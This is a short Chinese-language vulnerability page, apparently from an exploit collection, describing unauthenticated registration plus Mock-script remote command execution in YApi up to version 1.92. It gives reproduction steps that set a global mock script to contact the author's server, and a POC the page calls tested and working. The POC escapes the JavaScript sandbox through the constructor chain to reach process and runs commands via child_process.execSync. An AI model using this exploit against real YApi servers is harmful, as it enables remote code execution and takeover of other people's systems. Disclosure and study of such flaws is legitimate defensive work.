YApi 未授权用户创建&Mock远程命令执行漏洞

该漏洞已通过验证 本页面的EXP/POC/Payload经测试可用，漏洞已经成功复现。

影响版本

<=V1.92 All

漏洞复现

登录注册后，创建一个项目

然後選擇設置全局的mock腳本，設置命令為遠程訪問我的服務器地址。

添加接口，訪問接口的mock地址

服務器可以看到如下響應

POC

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("command").toString()

參考

https://github.com/YMFE/yapi/issues/2233